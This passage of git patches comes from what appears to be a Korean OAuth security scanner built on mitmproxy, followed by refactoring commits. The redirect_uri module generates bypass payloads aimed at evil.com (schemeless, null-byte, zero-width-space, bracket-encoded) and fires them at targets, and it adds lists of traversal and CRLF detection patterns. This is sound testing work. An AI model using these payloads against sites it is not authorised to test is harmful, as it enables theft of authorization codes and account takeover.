{mutated}") + return mutated + + # 34. 스키마 없는 우회 + def _mutate_pattern34(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"//evil.com{path_part}" + print(f"[redirect_uri_check] schemeless: {original} → {mutated}") + return mutated + + # 35. 스키마 콜론 우회 - RFC 위반 파싱 + def _mutate_pattern35(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"http:evil.com{path_part}" + print(f"[redirect_uri_check] schema colon: {original} → {mutated}") + return mutated + + # 36. 널 바이트 prefix - 파싱 혼동 + def _mutate_pattern36(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"%00https://evil.com{path_part}" + print(f"[redirect_uri_check] null prefix: {original} → {mutated}") + return mutated + + # 37. 유니코드 공백 문자 - %E2%80%8B = zero-width space + def _mutate_pattern37(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%E2%80%8B@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] unicode spaces: {original} → {mutated}") + return mutated + + # 38. 대괄호 인코딩 우회 + def _mutate_pattern38(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}%5B%40evil.com{path_part}" + print(f"[redirect_uri_check] bracket encoded: {original} → {mutated}") return mutated '''aiohttp 세션 생성 (재사용)''' @@ -301,22 +962,39 @@ class RedirectBypassChecker: """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ async def _send_request(self, url, headers=None): + + # 레이트 리미팅 체크 추가 + pattern_name = "request" + can_proceed = await redirect_limiter.wait_if_needed("request") + if not can_proceed: + return {'status': 429, 'location': '', 'headers': {}} + try: session = await self._get_session() # 세션 준비 request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 - + # 서버에 GET 요청 전송 async with session.get(url, allow_redirects=False, headers=request_headers) as response: - return { + result = { 'status': response.status, 'location': response.headers.get("Location", ""), 'headers': dict(response.headers) } + + # 성공/실패 기록 + if response.status in [200, 301, 302, 303, 307, 308]: + redirect_limiter.record_success() + else: + redirect_limiter.record_failure(f"HTTP {response.status}") + + return result + except Exception as e: + redirect_limiter.record_failure(str(e)) print(f"[ERROR] 요청 실패 ({url}): {e}") return {'status': 500, 'location': '', 'headers': {}} - """ redirect_uri가 기준 도메인(baseUrl)에 속하는지 판단 """ + """ redirect_uri가 기준 도메인에 속하는지 검증하고 우회 패턴 탐지 """ def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool: try: base_parsed = urlparse(base_url) @@ -339,18 +1017,166 @@ class RedirectBypassChecker: print(f"[CRITICAL] IPv6 주소 우회 공격: {redirect_uri}") return False - # 이중 인코딩 체크 - if "%2540" in redirect_uri: # %40의 이중 인코딩 - print(f"[ALERT] 이중 URL 인코딩 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 이중 인코딩 우회 공격: {redirect_uri}") - return False - # Fragment 체크 if "#@" in redirect_uri: print(f"[ALERT] Fragment 우회 패턴 탐지: {redirect_uri}") print(f"[CRITICAL] Fragment 우회 공격: {redirect_uri}") return False + # %ff 바이트 체크 + if "%ff" in redirect_uri.lower(): + print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}") + if "%ff@" in redirect_uri or "%ff." in redirect_uri: + print(f"[CRITICAL] %ff 우회 공격: {redirect_uri}") + return False + + # 전각 문자 검증 (직접 + 인코딩 모두) + fullwidth_patterns = ["/", "\", "%EF%BC%8F", "%EF%BC%BC"] + for pattern in fullwidth_patterns: + if pattern in redirect_uri: + print(f"[ALERT] 전각 문자 우회 패턴 탐지 ({pattern}): {redirect_uri}") + print(f"[CRITICAL] 전각 문자 우회 공격 ({pattern}): {redirect_uri}") + return False + + # 와일드카드 서브도메인 우회 탐지 + if f"attacker.{base_host}" in redirect_uri: + print(f"[ALERT] 와일드카드 서브도메인 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 와일드카드 서브도메인 우회 공격: {redirect_uri}") + return False + + # 서브도메인 혼동 우회 탐지 (하이픈 패턴) + hyphen_host = base_host.replace('.', '-').replace(':', '-') + if f"{hyphen_host}.evil.com" in redirect_uri: + print(f"[ALERT] 서브도메인 혼동 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 서브도메인 혼동 우회 공격: {redirect_uri}") + return False + + # 대소문자 + IDN 조합 우회 탐지 + if "ЕVIL.example" in redirect_uri: # Е는 키릴 문자 (대문자) + print(f"[ALERT] 대소문자+IDN 조합 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 대소문자+IDN 조합 우회 공격: {redirect_uri}") + return False + + # 세미콜론 userinfo 탐지 + if f"{base_host};evil.com" in redirect_uri: + print(f"[ALERT] 세미콜론 userinfo 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 세미콜론 userinfo 우회 공격: {redirect_uri}") + return False + + # 제어 문자 우회 체크 (줄바꿈, 캐리지리턴, 탭, 수직탭, 폼피드, 공백) + control_chars = ["%0a", "%0d", "%09", "%0b", "%0c", "%20"] + for char in control_chars: + if f"{char}@" in redirect_uri: + print(f"[ALERT] 제어 문자 우회 패턴 탐지 ({char}): {redirect_uri}") + print(f"[CRITICAL] 제어 문자 우회 공격 ({char}): {redirect_uri}") + return False + + # 포트 인코딩 탐지 + if f"{base_host}:%40evil.com" in redirect_uri: + print(f"[ALERT] 포트 인코딩 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 포트 인코딩 우회 공격: {redirect_uri}") + return False + + # 앰퍼샌드 인코딩 탐지 + if " &%40evil.com" in redirect_uri: + print(f"[ALERT] 앰퍼샌드 인코딩 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 앰퍼샌드 인코딩 우회 공격: {redirect_uri}") + return False + + # 언더스코어 인코딩 탐지 + if f"{base_host}.%5F.evil.com" in redirect_uri: + print(f"[ALERT] 언더스코어 인코딩 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 언더스코어 인코딩 우회 공격: {redirect_uri}") + return False + + # 콤마 분리자 탐지 + if f"{base_host}.%2C.evil.com" in redirect_uri: + print(f"[ALERT] 콤마 분리자 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 콤마 분리자 우회 공격: {redirect_uri}") + return False + + # 스키마 없는 우회 탐지 + if redirect_uri.startswith("//evil.com"): + print(f"[ALERT] 스키마 없는 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 스키마 없는 우회 공격: {redirect_uri}") + return False + + # 스키마 콜론 우회 탐지 + if redirect_uri.startswith("http:evil.com"): + print(f"[ALERT] 스키마 콜론 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 스키마 콜론 우회 공격: {redirect_uri}") + return False + + # 널 바이트 prefix 탐지 + if redirect_uri.startswith("%00"): + print(f"[ALERT] 널 바이트 prefix 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 널 바이트 prefix 우회 공격: {redirect_uri}") + return False + + # 유니코드 공백 문자 탐지 + unicode_spaces = ["%E2%80%8B", "%E2%81%A0", "%C2%AD"] + for space in unicode_spaces: + if space in redirect_uri: + print(f"[ALERT] 유니코드 공백 문자 우회 탐지 ({space}): {redirect_uri}") + print(f"[CRITICAL] 유니코드 공백 문자 우회 공격: {redirect_uri}") + return False + + # 대괄호 인코딩 탐지 + if f"{base_host}%5B%40evil.com" in redirect_uri: + print(f"[ALERT] 대괄호 인코딩 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 대괄호 인코딩 우회 공격: {redirect_uri}") + return False + + # CRLF 인젝션 체크 + if "%0D%0A" in redirect_uri or "%0d%0a" in redirect_uri: + print(f"[ALERT] CRLF 인젝션 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] CRLF 인젝션 우회 공격: {redirect_uri}") + return False + + # 대소문자 혼합 스키마 체크 + if redirect_uri.startswith(("HtTpS://", "HtTp://", "hTtps://", "hTtp://")): + print(f"[ALERT] 대소문자 혼합 스키마 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 스키마 케이스 우회 공격: {redirect_uri}") + return False + + # 스키마 변조 체크 + if "https.://" in redirect_uri: + print(f"[ALERT] 스키마 점 삽입 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 스키마 점 삽입 우회 공격: {redirect_uri}") + return False + + # 복합 인코딩 패턴 체크 (혼합 제어 문자) + if "%09%0A%20" in redirect_uri or "%0A%0D%09" in redirect_uri: + print(f"[ALERT] 복합 인코딩 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 복합 인코딩 우회 공격: {redirect_uri}") + return False + + # 복합 우회 패턴 체크 (@ + 이중슬래시 + 경로순회 조합) + if "@" in redirect_uri and "//" in redirect_uri and "../" in redirect_uri: + print(f"[ALERT] 복합 우회 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 복합 우회 공격 (@ + // + ../): {redirect_uri}") + return False + + # 경로 백슬래시 도메인 탐지 + if f"{base_host}\\.evil.com" in redirect_uri: + print(f"[ALERT] 경로 백슬래시 도메인 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 경로 백슬래시 도메인 우회 공격: {redirect_uri}") + return False + + # 경로 순회 패턴 체크 + if not self._check_path_traversal_patterns(redirect_uri): + return False + + # 쿼리 파라미터 우회 탐지 (question_mark 패턴) + if "?" in redirect_uri: + query_part = redirect_uri.split("?", 1)[1] + evil_indicators = ["evil.com", "attacker.com", "redirect=", "url=", "goto="] + for indicator in evil_indicators: + if indicator in query_part.lower(): + print(f"[ALERT] 쿼리 파라미터 우회 탐지 ({indicator}): {redirect_uri}") + print(f"[CRITICAL] 쿼리 파라미터 우회 공격: {redirect_uri}") + return False + # @ 패턴 최우선 체크 (@ 앞의 도메인이 실제 목적지) if "@" in redirect_uri: # @ 앞의 부분이 실제 목적지 도메인 @@ -363,32 +1189,6 @@ class RedirectBypassChecker: print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}") return False - # %ff 바이트 체크 - if "%ff" in redirect_uri: - print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}") - if "%ff@" in redirect_uri or "%ff." in redirect_uri: - print(f"[CRITICAL] %ff 우회 공격 패턴: {redirect_uri}") - return False - - # 전각 문자 체크 - if "/" in redirect_uri: # 전각 슬래시 - print(f"[ALERT] 전각 문자 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 전각 슬래시 우회 공격: {redirect_uri}") - return False - - # 제어 문자(줄바꿈/캐리지 리턴 문자) 체크 - if "%0a" in redirect_uri or "%0d" in redirect_uri: - print(f"[ALERT] 제어 문자 우회 패턴 탐지: {redirect_uri}") - if "%0a@" in redirect_uri or "%0d@" in redirect_uri: - print(f"[CRITICAL] 제어 문자 우회 공격: {redirect_uri}") - return False - - # 경로 순회 패턴 체크 - if "/../" in redirect_uri: - print(f"[ALERT] 경로 순회 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 경로 순회 우회 공격: {redirect_uri}") - return False - # 백슬래시 우회 체크 if "\\" in redirect_uri: print(f"[ALERT] 백슬래시 우회 패턴 탐지: {redirect_uri}") @@ -448,6 +1248,32 @@ class RedirectBypassChecker: except Exception as e: print(f"[ERROR] 도메인 검증 실패: {e}") return False + + """ 경로 순회 패턴 탐지 """ + def _check_path_traversal_patterns(self, redirect_uri: str) -> bool: + + path_traversal_patterns = [ + "/../", # 기본 경로 순회 + "/.././", # 혼합 슬래시 + "/..;/", # 세미콜론 패턴 + "%2e%2e%2f", # URL 인코딩된 ../ + "%2e%2e/", # URL 인코딩된 .. + 일반 슬래시 + "/%2e%2e/", # 슬래시 + 인코딩된 ../ + "%252e%252e", # 이중 인코딩된 .. + "%c0%ae", # 오버롱 UTF-8 + "\\..\\", # 백슬래시 패턴 + "../", # 유니코드 점 + "../%00", # 널 바이트 조합 + "%00../", # 널 바이트 전치 + ] + + for pattern in path_traversal_patterns: + if pattern in redirect_uri.lower(): + print(f"[ALERT] 경로 순회 패턴 탐지 ({pattern}): {redirect_uri}") + print(f"[CRITICAL] 경로 순회 우회 공격 ({pattern}): {redirect_uri}") + return False + + return True """ Location 헤더에서 authorization code 추출 """ def _extract_code_from_location(self, location: str) -> str: @@ -461,7 +1287,7 @@ class RedirectBypassChecker: except: return "" - """ 메인 테스트 함수 - mitmproxy flow 처리 """ + """ mitmproxy용 - 실제 OAuth 플로우 가로채서 분석 """ async def test(self, flow: http.HTTPFlow): url = flow.request.pretty_url parsed = urlparse(url) @@ -471,8 +1297,19 @@ class RedirectBypassChecker: return original_redirect_uri = query["redirect_uri"][0] + + redirect_limiter.reset_for_new_target() + print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}") + print(f"[DEBUG] 총 패턴 수: {len(self.bypass_payloads)}") + print("[DEBUG] 패턴 목록:") + for i, payload in enumerate(self.bypass_payloads): + print(f" {i+1:2d}. {payload.name}") + print("-" * 50) + + tested_count = 0 # 테스트된 패턴 카운터 추가 + for payload in self.bypass_payloads: try: await self._test_bypass_pattern( @@ -506,28 +1343,24 @@ class RedirectBypassChecker: async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload): status = response['status'] location = response['location'] - - print(f"[DEBUG] 응답 분석 - 상태: {status}, Location: {location}") - + # 리다이렉트 응답이 아니면 스킵 if status not in [301, 302, 303, 307, 308]: - print(f"[DEBUG] 리다이렉트 아님 - 상태 코드: {status}") - return + return False # Location 헤더에서 code 추출 auth_code = self._extract_code_from_location(location) - print(f"[DEBUG] 추출된 코드: {auth_code}") # 베이스라인 검증 is_valid = self._is_baseline_valid(bypassed_uri, original_url) - print(f"[DEBUG] 베이스라인 검증 결과: {is_valid}") if auth_code and not is_valid: # 취약점 발견 시에만 로그 print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!") await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload) - else: - print(f"[DEBUG] 취약점 없음 - 코드: {bool(auth_code)}, 유효성: {is_valid}") + return True + + return False """ 취약점 보고서 생성 """ async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload): From 062552d3d8da29c4f8ef87003c1f1a9cdd41afa9 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Thu, 26 Jun 2025 10:43:52 +0900 Subject: [PATCH 36/56] =?UTF-8?q?[Refactor]=20=EB=A6=AC=ED=8C=A9=ED=84=B0?= =?UTF-8?q?=EB=A7=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 2 ++ addon/access_token.py | 6 +++--- addon/csrf_check.py | 6 +++--- addon/{GoogleLoginHint.py => google_login_hint.py} | 0 addon/init.py | 4 ++-- addon/nonce_check.py | 6 +++--- addon/pkce_check.py | 6 +++--- addon/redirect_uri_check.py | 6 +++--- addon/{ScopeDetection.py => scope_detection.py} | 6 +++--- lib/{target.py => cur_target_url.py} | 0 lib/{report.py => report_vuln.py} | 0 runner/backend/__init__.py | 4 ++-- 12 files changed, 24 insertions(+), 22 deletions(-) rename addon/{GoogleLoginHint.py => google_login_hint.py} (100%) rename addon/{ScopeDetection.py => scope_detection.py} (92%) rename lib/{target.py => cur_target_url.py} (100%) rename lib/{report.py => report_vuln.py} (100%) diff --git a/.gitignore b/.gitignore index 225a08d..c9116f2 100644 --- a/.gitignore +++ b/.gitignore @@ -9,6 +9,8 @@ wheels/ # Virtual environments .venv +.env + data/ diff --git a/addon/access_token.py b/addon/access_token.py index 6f1c8bb..228cd69 100644 --- a/addon/access_token.py +++ b/addon/access_token.py @@ -4,8 +4,8 @@ from typing import List, Dict, Optional, Any from mitmproxy.http import HTTPFlow -import lib.target as target -from lib.report import save_report +import lib.cur_target_url as cur_target_url +from lib.report_vuln import save_report # 결과 리포트 저장용 데이터 클래스 @dataclass @@ -32,7 +32,7 @@ class AccessTokenScanner: findings.extend(await self._scan_response(flow.response, flow.request.url)) if findings: - target_value = target.load() + target_value = cur_target_url.load() save_report([f.to_report(target_value) for f in findings]) # 내부 구현 diff --git a/addon/csrf_check.py b/addon/csrf_check.py index 4e07407..564e337 100644 --- a/addon/csrf_check.py +++ b/addon/csrf_check.py @@ -4,8 +4,8 @@ from urllib.parse import urlparse, parse_qs, unquote import httpx from typing import Optional, Union, List -import lib.target as target -from lib.report import save_report +import lib.cur_target_url as cur_target_url +from lib.report_vuln import save_report class CsrfChecker: nonce_params = { @@ -153,7 +153,7 @@ class CsrfChecker: desc = " | ".join(msgs) status = "MEDIUM" report_data = [{ - 'target': target.load(), + 'target': cur_target_url.load(), 'status': status, 'title': "CSRF Risk", 'description': desc, diff --git a/addon/GoogleLoginHint.py b/addon/google_login_hint.py similarity index 100% rename from addon/GoogleLoginHint.py rename to addon/google_login_hint.py diff --git a/addon/init.py b/addon/init.py index c54a7fc..3ce221d 100644 --- a/addon/init.py +++ b/addon/init.py @@ -1,12 +1,12 @@ from mitmproxy import http import asyncio from pkce_check import PKCEDowngradeChecker -from ScopeDetection import ScopeDetection +from addon.scope_detection import ScopeDetection from csrf_check import CsrfChecker from nonce_check import NonceChecker from redirect_uri_check import RedirectBypassChecker from access_token import AccessTokenScanner -from GoogleLoginHint import GoogleLoginHint +from addon.google_login_hint import GoogleLoginHint import os from dotenv import load_dotenv diff --git a/addon/nonce_check.py b/addon/nonce_check.py index c0af077..e252c86 100644 --- a/addon/nonce_check.py +++ b/addon/nonce_check.py @@ -3,8 +3,8 @@ from urllib.parse import urlparse, parse_qs from typing import Union import httpx -import lib.target as target -from lib.report import save_report +import lib.cur_target_url as cur_target_url +from lib.report_vuln import save_report class NonceChecker: def is_oidc_flow(self, flow) -> bool: @@ -76,7 +76,7 @@ class NonceChecker: url = req.pretty_url if not nonce: report_data = [{ - 'target': target.load(), + 'target': cur_target_url.load(), 'status': "CRITICAL", 'title': "nonce is missing in id_token", 'description': "Nonce is present in the request but missing in the id_token.", diff --git a/addon/pkce_check.py b/addon/pkce_check.py index cac1693..afd4df9 100644 --- a/addon/pkce_check.py +++ b/addon/pkce_check.py @@ -3,8 +3,8 @@ import asyncio import httpx from typing import Dict, List -import lib.target as target -from lib.report import save_report +import lib.cur_target_url as cur_target_url +from lib.report_vuln import save_report class PKCEDowngradeChecker: @@ -170,7 +170,7 @@ class PKCEDowngradeChecker: self, status: str, title: str, description: str, uri: str ) -> Dict[str, str]: return { - "target": target.load(), + "target": cur_target_url.load(), "status": status, "title": title, "description": description, diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py index 8acc4dd..43df4cb 100644 --- a/addon/redirect_uri_check.py +++ b/addon/redirect_uri_check.py @@ -4,8 +4,8 @@ import asyncio import random import time from urllib.parse import urlparse, parse_qs, urlencode, urlunparse -import lib.target as target -from lib.report import save_report +import lib.cur_target_url as cur_target_url +from lib.report_vuln import save_report class RedirectRateLimiter: """redirect_uri_check 전용 rate limiter""" @@ -1385,7 +1385,7 @@ class RedirectBypassChecker: ) report_data = [{ - "target": target.load(), + "target": cur_target_url.load(), "status": "CRITICAL", "title": "Redirect URI Bypass Vulnerability", "description": description, diff --git a/addon/ScopeDetection.py b/addon/scope_detection.py similarity index 92% rename from addon/ScopeDetection.py rename to addon/scope_detection.py index a955aeb..2d14049 100644 --- a/addon/ScopeDetection.py +++ b/addon/scope_detection.py @@ -1,5 +1,5 @@ -import lib.target as target -from lib.report import save_report +import lib.cur_target_url as cur_target_url +from lib.report_vuln import save_report class ScopeDetection: def get_scope_from_query(self, query: str) -> str | None: @@ -44,7 +44,7 @@ class ScopeDetection: if result != 0: report_data = [{ - 'target': target.load(), + 'target': cur_target_url.load(), 'status': "WARNING", 'title': "OAuth scope value issue", 'description': f"{method} {url}: {', '.join(result)}", diff --git a/lib/target.py b/lib/cur_target_url.py similarity index 100% rename from lib/target.py rename to lib/cur_target_url.py diff --git a/lib/report.py b/lib/report_vuln.py similarity index 100% rename from lib/report.py rename to lib/report_vuln.py diff --git a/runner/backend/__init__.py b/runner/backend/__init__.py index 4b60e63..015c483 100644 --- a/runner/backend/__init__.py +++ b/runner/backend/__init__.py @@ -1,6 +1,6 @@ from fastapi import FastAPI, Query, HTTPException from fastapi.responses import Response -import lib.target as target +import lib.cur_target_url as cur_target_url app = FastAPI() @@ -8,7 +8,7 @@ app = FastAPI() @app.post("/start") async def start(url: str = Query(None)): if url: - target.save(url) + cur_target_url.save(url) print(f"Target URL set to: {url}") return {"message": f"Target URL set to: {url}"} return {"error": "No URL provided"} From 3a1422a2f2be39838f099f15ce92e18ca2646c37 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Thu, 26 Jun 2025 12:20:41 +0900 Subject: [PATCH 37/56] [Update] save vuln report logic --- addon/access_token.py | 87 +++++++++++++------------------------ addon/csrf_check.py | 58 ++++++++----------------- addon/init.py | 2 +- addon/nonce_check.py | 20 +++------ addon/pkce_check.py | 57 +++++++----------------- addon/redirect_uri_check.py | 37 ++++++++-------- addon/scope_detection.py | 16 +++---- lib/report_vuln.py | 22 +++++----- lib/utils/is_oauth_uri.py | 10 +++++ 9 files changed, 120 insertions(+), 189 deletions(-) create mode 100644 lib/utils/is_oauth_uri.py diff --git a/addon/access_token.py b/addon/access_token.py index 228cd69..9c18bb6 100644 --- a/addon/access_token.py +++ b/addon/access_token.py @@ -1,23 +1,11 @@ import re from dataclasses import dataclass, asdict from typing import List, Dict, Optional, Any +import asyncio from mitmproxy.http import HTTPFlow -import lib.cur_target_url as cur_target_url -from lib.report_vuln import save_report - -# 결과 리포트 저장용 데이터 클래스 -@dataclass -class TokenLeakResult: - title: str - description: str - uri: str - status: str = "MEDIUM" # 기본 상태 - - def to_report(self, target_value) -> Dict[str, str]: - """리포트 저장 포맷(dict)으로 변환""" - return {"target": target_value, **asdict(self)} +from lib.report_vuln import report_vuln # 요청/응답에서 액세스 토큰 노출 여부를 검사하는 스캐너 @@ -26,31 +14,25 @@ class AccessTokenScanner: async def scan(self, flow: HTTPFlow) -> None: """단일 HTTPFlow(request + response)에 대해 요청과 응답을 모두 검사.""" print(f"[TOKENDEBUG] Request URL: {flow.request.url}") - findings: List[TokenLeakResult] = [] - - findings.extend(await self._scan_request(flow.request)) - findings.extend(await self._scan_response(flow.response, flow.request.url)) - - if findings: - target_value = cur_target_url.load() - save_report([f.to_report(target_value) for f in findings]) + + async_gather = [] + async_gather.append(self._scan_request(flow.request)) + async_gather.append(self._scan_response(flow.response, flow.request.url)) + await asyncio.gather(*async_gather) # 내부 구현 - async def _scan_request(self, request: Any) -> List[TokenLeakResult]: - results: List[TokenLeakResult] = [] + async def _scan_request(self, request: Any): print("[TOKENDEBUG] ==scan request==") # URL 검사 token_result = self._extract_token(request.url) if token_result: token, has_bearer = token_result - results.append( - TokenLeakResult( - title="Token Leak in Request URL", - description=f"요청 URL에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", - uri=request.url, - status="MEDIUM" if has_bearer else "LOW" - ) + report_vuln( + title="Token Leak in Request URL", + desc=f"요청 URL에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", + status="MEDIUM" if has_bearer else "LOW", + uri=request.url ) # Body 검사 (텍스트 컨텐츠인 경우) @@ -59,22 +41,17 @@ class AccessTokenScanner: token_result = self._extract_token(body_text) if token_result: token, has_bearer = token_result - results.append( - TokenLeakResult( - title="Token Leak in Request Body", - description=f"요청 본문에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", - uri=request.url, - status="MEDIUM" if has_bearer else "LOW" - ) + report_vuln( + title="Token Leak in Request Body", + desc=f"요청 본문에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", + status="MEDIUM" if has_bearer else "LOW", + uri=request.url ) - return results - - async def _scan_response(self, response: Optional[Any], request_url: str) -> List[TokenLeakResult]: + async def _scan_response(self, response: Optional[Any], request_url: str): if response is None: - return [] + return - results: List[TokenLeakResult] = [] print("[TOKENDEBUG] ==scan response==") # Location 헤더 검사 (리다이렉트) if location_header := response.headers.get("Location"): @@ -82,12 +59,11 @@ class AccessTokenScanner: if token_result: token, has_bearer = token_result if has_bearer: - results.append( - TokenLeakResult( - title="Token Leak in Redirect URL (Location header)", - description=f"Location 헤더에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", - uri=location_header, - ) + report_vuln( + title="Token Leak in Redirect URL (Location header)", + desc=f"Location 헤더에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", + status="MEDIUM", + uri=location_header, ) # Body 검사 (텍스트 컨텐츠인 경우) @@ -97,16 +73,13 @@ class AccessTokenScanner: if token_result: token, has_bearer = token_result if has_bearer: - results.append( - TokenLeakResult( - title="Token Leak in Response Body", - description=f"응답 본문에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", - uri=request_url, - ) + report_vuln( + title="Token Leak in Response Body", + desc=f"응답 본문에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", + status="MEDIUM", + uri=request_url, ) - return results - # 토큰 탐지 키워드드 _TOKEN_KEYS = [ "access_token", diff --git a/addon/csrf_check.py b/addon/csrf_check.py index 564e337..34cd700 100644 --- a/addon/csrf_check.py +++ b/addon/csrf_check.py @@ -4,23 +4,14 @@ from urllib.parse import urlparse, parse_qs, unquote import httpx from typing import Optional, Union, List -import lib.cur_target_url as cur_target_url -from lib.report_vuln import save_report +from lib.report_vuln import report_vuln +from lib.utils.is_oauth_uri import is_oauth_uri class CsrfChecker: nonce_params = { "state", "nonce", "as", "frame_id", "csrf_token", "csrf" } - def is_oauth_uri(self, uri: str) -> bool: - qs = parse_qs(urlparse(uri).query) - qs_keys = [*qs] - - if "client_id" in qs_keys and any(p in qs_keys for p in ( - "redirect_uri", "response_type", "grant_type", "scope", "state", "nonce")): - return True - return False - def get_header(self, headers: http.Headers, name: str) -> Optional[str]: # mitmproxy Headers는 case-insensitive raw = headers.get(name) @@ -40,7 +31,7 @@ class CsrfChecker: def is_oauth_redirect(self, flow: http.HTTPFlow) -> bool: code = flow.response.status_code loc = self.get_header(flow.response.headers, "location") or "" - return 300 <= code < 400 and self.is_oauth_uri(loc) + return 300 <= code < 400 and is_oauth_uri(loc) def check_nonce_in_request(self, flow: http.HTTPFlow) -> bool: qs = parse_qs(urlparse(flow.request.url).query) @@ -71,10 +62,10 @@ class CsrfChecker: headers=headers, content=flow.request.get_content(), ) - + def check_redirect_nonce(self, flow: http.HTTPFlow) -> Union[List[str], int]: # ① OAuth URI, ② 요청에 nonce, ③ 리다이렉트 응답 - if not (self.is_oauth_uri(flow.request.url) + if not (is_oauth_uri(flow.request.url) and self.check_nonce_in_request(flow) and self.is_oauth_redirect(flow)): return 0 @@ -85,18 +76,19 @@ class CsrfChecker: resp_nonce = self.get_query_param(loc, param) if param else None if resp_nonce is None: - return ["Missing nonce in redirect"] + report_vuln(title="CSRF Risk", desc="Missing nonce in redirect response", status="HIGH", uri=flow.request.url) + return 1 if orig_nonce != resp_nonce: - return ["Nonce mismatch request↔response"] + report_vuln(title="CSRF Risk", desc="Nonce mismatch request↔response", status="MEDIUM", uri=flow.request.url) + return 1 return 0 async def check_nonce_reuse(self, flow: http.HTTPFlow) -> Union[int, List[str]]: # OAuth Request가 아니면서, OAuth 리다이렉트 응답인 경우만 검사 - if self.is_oauth_uri(flow.request.url) or not self.is_oauth_redirect(flow): + if is_oauth_uri(flow.request.url) or not self.is_oauth_redirect(flow): return 0 - loc0 = self.get_header(flow.response.headers, "location") or "" param = self.find_nonce_param(loc0) or "state" qs0 = parse_qs(urlparse(loc0).query) @@ -111,7 +103,8 @@ class CsrfChecker: if new_nonce is None: return 0 if new_nonce == orig_nonce: - return ["Nonce reused without cookies"] + report_vuln(title="CSRF Risk", desc="Nonce reused without cookies", status="HIGH", uri=flow.request.url) + return 1 # (2) 두 번의 리다이렉트 비교 async with httpx.AsyncClient(follow_redirects=False) as cli: @@ -127,42 +120,25 @@ class CsrfChecker: and urlparse(req1.headers.get("location", "")).path == urlparse(req2.headers.get("location", "")).path ): - return ["Identical redirects on nonce swap → potential CSRF"] + report_vuln(title="CSRF Risk", desc="Identical redirects on nonce swap → potential CSRF", status="MEDIUM", uri=flow.request.url) + return 1 return 0 async def response(self, flow: http.HTTPFlow) -> None: try: - msgs: List[str] = [] # 1) 요청에 nonce 없으면 - if self.is_oauth_uri(flow.request.url) and not self.check_nonce_in_request(flow): - msgs.append("Missing state/nonce in request") + if is_oauth_uri(flow.request.url) and not self.check_nonce_in_request(flow): + report_vuln(title="CSRF Risk", desc="Missing nonce in OAuth request", status="HIGH", uri=flow.request.url) + return # 2) 리다이렉트에서 nonce 검사 r1 = self.check_redirect_nonce(flow) - if r1: - msgs.extend(r1 if isinstance(r1, list) else []) # 3) nonce 재사용 검사 r2 = await self.check_nonce_reuse(flow) - if r2: - msgs.extend(r2 if isinstance(r2, list) else []) - if msgs: - desc = " | ".join(msgs) - status = "MEDIUM" - report_data = [{ - 'target': cur_target_url.load(), - 'status': status, - 'title': "CSRF Risk", - 'description': desc, - 'uri': flow.request.url, - }] - save_report(report_data) - print(f"[INFO] CSRF Check: {desc}") - else: - pass except Exception as e: print(f"[ERROR] CSRF Check failed: {e}") return diff --git a/addon/init.py b/addon/init.py index 3ce221d..fb69258 100644 --- a/addon/init.py +++ b/addon/init.py @@ -107,4 +107,4 @@ class GoogleLoginHintAddon(): except Exception as e: print(f"[ERROR] GoogleLoginHint Addon failed: {e}") -addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon(), AccessTokenAddon(), RedirectBypassAddon(), GoogleLoginHintAddon()] +addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon(), AccessTokenAddon(), GoogleLoginHintAddon(), 